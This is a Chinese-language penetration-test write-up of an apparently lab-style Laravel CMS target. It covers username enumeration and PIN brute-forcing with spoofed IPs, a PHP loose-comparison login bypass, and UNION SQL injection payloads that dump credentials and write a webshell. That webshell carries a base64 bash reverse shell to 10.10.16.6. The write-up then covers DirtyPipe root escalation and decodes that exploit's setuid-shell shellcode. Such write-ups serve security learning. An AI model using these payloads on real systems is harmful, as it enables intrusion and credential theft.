windcctv
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

本文给出了一个基于Laravel框架的cms渗透实例,平时遇到框架性的cms时,总感觉框架不会存在漏洞,渗透的难度很大。其实只要我们细心观察,框架也许没有漏洞,但基于框架的cms加入了自己的代码,就很有可能会存在漏洞,这在实践中已多次得到了证明。下面就开始此次渗透之旅。
一、信息收集
先常规操作,端口和目录扫描一波;
并没有特别的发现,看来只能从web入手了。
二、漏洞挖掘
打开网页;
通过插件,可以反映出网站是Laravel框架搭建的,主页面就一个登录框,常规工具扫了一遍,并没有发现注入SQL注入、XSS等可以利用的漏洞,但输入错误的用户名时,会提示用户名不正确,那么就可以尝试爆破一波用户名;
幸运的爆破出用户admin和big0us,继续尝试爆破密码,但都没有成功。
点击忘记密码;
网站会发送验证码到邮箱,需要填写验证码才可以重置密码,于是尝试爆破下验证码;
爆破到一半时网页会报错;
看来对ip访问的频次做了限制,需要用到ip池来爆破。
wfuzz伪造源ip爆破
先生成一个ip池;
然后用wfuzz开始爆破,注意参数的设置;
成功爆破出了验证码。
重置用户的密码;
之后就可以成功登录用户的后台页面;
查看页面源码;
抓包实际测试一下;
Laravel框架的sql注入
简单介绍下Laravel框架,Laravel是基于mvc模式的php框架,m——模型层,v——视图层,c——控制器层;以下为laravel框架的目录文件,核心就是弄清楚路由的配置,然后查看app文件夹里的控制代码。
app是应用的核心代码文件目录,以后的代码基本都在这里完成;
app/Http/Controller目录是应用的控制器文件;
routes.php是框架的路由文件,负责路由分配和映射;
Http下的类文件,比如上面目录中的User.php、Menu.php文件是应用的模型文件;
config目录是所有应用的配置文件目录;
public是框架的入口文件及静态资源文件目录;
resources/views则是应用的视图文件目录。
这里先介绍一个之前做过的基于Laravel框架的cms渗透例子,
原始的关键数据包如下:
我们尝试对提交的数据进行修改;
发现了一个越权漏洞,可以成功越权登录,后来拿下服务器后查看源码;
/** * Handle account login * */ public function customLogin(Request $request) { $request->validate([ 'password' => 'required', ]); if ($request->get('password') == "UHC-March-Global-PW!") { session(['loggedin' => True]); return "Login Successful"; } return "Invalid Password"; }
漏洞产生的原因在于php弱类型比较;
php > if ("true" == "UHC-March-Global-PW!") {echo "Authenticated";} else {echo "Rejected!";}; Rejected!
利用弱类型比较的漏洞来实现越权;
php > if (true == "UHC-March-Global-PW!") {echo "Authenticated";} else {echo "Rejected!";}; Authenticated
修复方法为将弱类型换成===即可。
回到这次渗透,我们采用同样的思路来试试;
注意要改下提交的格式为json;
并没有实现越权,看到id,忍不住在试试SQL注入;
服务器报错了,在换"12 or 1=1;-- -"试试;
服务器正常返回,这不就是SQL注入的前兆吗。。
接下来尝试最简单的union注入;
完美的开始;
{"id":"0 union select 1,2,group_concat(concat('\n', table_name, ':', column_name)) from information_schema.columns where table_schema = 'uhc';-- -", "secret":true}
{"id":"0 union select 1,2,group_concat(concat('\n', name, ':', password)) from users;-- -", "secret":true}
尝试破解,但并没有成功,如果想执行webshell,可以尝试利用SQL注入读写文件;
读取配置文件成功,下面尝试写文件;
{"id":"0 union select 1,2,'<?php phpinfo(); ?>' into outfile '/srv/altered/public/0xdf-info.php';-- -", "secret":true}
可以写入文件,那直接写入反弹的webshell;
echo "bash -c 'bash -i >& /dev/tcp/10.10.16.6/1234 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzEyMzQgMD4mMScK
做下编码后写入反弹的shell;
{"id":"0 union select 1,2,'<?php system(base64_decode(\"YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzEyMzQgMD4mMScK\")); ?>' into outfile '/srv/altered/public/shell123.php';-- -", "secret":true}
然后访问shell,成功反弹;
查看下网站目录,发现了我们写入的shell;
三、提权
先查看下内核版本;
这里直接可以用Linux DirtyPipe权限提升漏洞 CVE-2022-0847,漏洞影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
根据漏洞的利用方法,先看下具有suid权限的程序;
然后按照漏洞的利用方法开始提权;
成功获取了root权限。
四、漏洞分析
拿下服务器后,我们将源码下载回来在进行分析;
先查看路由;
srv\altered\routes\web.php
<?php use App\Http\Controllers\TasksController; use App\Http\Controllers\AuthController; use Illuminate\Support\Facades\Route; /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ Route::get('/', [TasksController::class, 'index']); Route::get('/login', [AuthController::class, 'show_login'])->name('login'); Route::post('/login', [AuthController::class, 'customLogin'])->name('customLogin'); Route::get('/reset', [AuthController::class, 'show_reset'])->name('reset'); Route::post('/reset', [AuthController::class, 'resetPasswordCheckName'])->name('resetPasswordCheckName'); Route::get('/changepw', [AuthController::class, 'show_changepw'])->name('show_changepw'); Route::post('/changepw', [AuthController::class, 'changepw'])->name('changepw');
知道路由后,在查看对应的源码;
\srv\altered\app\Http\Controllers\AuthController.php
登录;
/** * Handle account login * */ public function customLogin(Request $request) { $request->validate([ 'name' => 'required', 'password' => 'required', ]); $credentials = $request->only('name', 'password'); if (Auth::attempt($credentials)) { session(['loggedin' => True]); session(['id' => User::where('name',$request->get('name'))->first()]); return redirect()->intended('/') ->withSuccess('Signed in'); } if (User::where('name', '=', $request->get('name'))->first()) { return view("auth.login", ['msg'=>'Invalid Password.']); }; return view("auth.login", ['msg'=>'Invalid Username']); }
重置密码;
/** * Handle Account Reset * */ public function resetPasswordCheckName(Request $request) { $request->validate([ 'name' => 'required', ]); if (User::where('name', '=', $request->get('name'))->first()) { session(['pin' => md5( rand(1000,9999) . $request->get('name')) ]); return view("auth.reset", ['msg'=>$request->get('name'), 'err'=>'Enter the pincode emailed to you']); }; return view("auth.reset", ['err'=>'Invalid Username']); }
存在SQL注入的部分;
/** * Retreive a users bio * */ public function getprofile(Request $request) { $request->validate([ 'id' => 'required', 'secret' => 'required', ]); $secure = md5($request->get('id') . 'SuperSecretThingUHCr0x'); if ( $secure == $request->get('secret') ) { $user = DB::table('users') ->select('name','country', 'bio') ->whereRaw('id =' . $request->get('id') )->first(); return $user->bio ; } return "Tampered user input detected"; } }
可以看到,参数id没有过滤而直接带入,导致了sql注入;
修复方法:编写正则表达式来校验用户的输入。
彩蛋
在Linux DirtyPipe权限提升漏洞 CVE-2022-0847的利用代码中有这样一个数组;
// small (linux x86_64) ELF file matroshka doll that does; // fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC); // write(fd, elfcode, elfcode_len) // chmod("/tmp/sh", 04755) // close(fd); // exit(0); // // the dropped ELF simply does: // setuid(0); // setgid(0); // execve("/bin/sh", ["/bin/sh", NULL], [NULL]); unsigned char elfcode[] = { /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2, 0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 };
这个数组是到底是啥意思?下面我们来研究下;
先把数组转为16进制的字符串;
7f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000005000000000000000000000000004000000000000000400000000000970100000000000097010000000000000010000000000000488d3d5600000048c7c64102000048c7c0020000000f054889c7488d354400000048c7c2ba00000048c7c0010000000f0548c7c0030000000f05488d3d1c00000048c7c6ed09000048c7c05a0000000f054831ff48c7c03c0000000f052f746d702f7368007f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000005000000000000000000000000004000000000000000400000000000ba00000000000000ba0000000000000000100000000000004831ff48c7c0690000000f054831ff48c7c06a0000000f05488d3d1b0000006a004889e2574889e648c7c03b0000000f0548c7c03c0000000f052f62696e2f736800
然后利用xdd来转换;
转换后用IDA或Ghidra打开;
这是IDA的;
这是Ghidra的;
效果都差不多,上述代码,可以转换为如下代码;
fd = syscall(0x2, 0x241, "/tmp/sh") syscall(0x1, fd, buffer, 0xba) syscall(0x3, fd) syscall(0x5a, 0x9ed, "/tmp/sh") syscall(0x3c, 0x0)
根据指令规则;
上述代码实际就是;
fd = open("/tmp/sh", flags=0x241) write(fd, 0x4000dd, 0xba) close(fd) chmod("/tmp/sh", 0x9ed) // 0x9ed == 4755 in octal exit(0)
以后在看到类似数组的shellcode,不至于手足无措了。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)



